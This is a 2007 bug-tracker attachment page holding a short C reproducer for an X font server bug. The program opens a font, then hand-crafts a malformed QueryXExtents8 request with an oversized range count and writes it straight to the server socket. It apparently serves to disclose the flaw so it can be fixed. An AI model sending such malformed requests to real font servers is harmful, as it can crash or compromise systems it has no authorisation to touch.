Attachment 11502 Details for Bug 12298 – reproducer

reproducer

tfs.c (text/plain), 1.07 KB, created by Matthieu Herrb on 2007-09-11 02:24:22 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Matthieu Herrb

Created: 2007-09-11 02:24:22 UTC

Size: 1.07 KB

patch

obsolete

>/* gcc -Wall -I/usr/X11R6/include tfs.c -L/usr/X11R6/lib -lFS */
>#include <err.h>
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>#include <unistd.h>
>
>#include <X11/fonts/FSlib.h>
>
>fsQueryXExtents8Req req;
>int
>main(int argc, char *argv[])
>{
>	FSServer *serv;
>	Font font, otherid;
>	int n;
>	FSXCharInfo *extents;
>	size_t len;
>	char *buf;
>
>	if (argc != 3) 
>		errx(2, "syntax %s fontserver string\n", argv[0]);
>	serv = FSOpenServer(argv[1]);
>	if (serv == NULL)
>		errx(2, "FSOpenServer failed\n");
>	font = FSOpenBitmapFont(serv, 0, 0, "fixed", &otherid);
>	if (font == NULL)
>		errx(2, "FSOpenXBitmap failed\n");
>	len = strlen(argv[2]);
>	n = FSQueryXExtents8(serv, font, False, argv[2], len, &extents);
>	
>	printf("FSQueryExtents8 returns %d\n", n);
>
>	/* Now build a bad request */
>	req.reqType = FS_QueryXExtents8;
>	req.length = 5;
>	req.fid = font;
>	req.num_ranges = 0x1fffffff;
>
>	buf = malloc(sizeof(req) + len);
>	memcpy(buf, &req, sizeof(req));
>	memcpy(buf+sizeof(req), argv[2], len);
>	write(serv->fd, buf, sizeof(req) + len);
>
>	FSCloseFont(serv, font);
>	FSCloseServer(serv);
>	return 0;
>}

Actions: View

Attachments on bug 12298: 11443 | 11450 | 11502 | 11585 | 11596

Use of freedesktop.org services, including Bugzilla, is subject to our Code of Conduct. How we collect and use information is described in our Privacy Policy.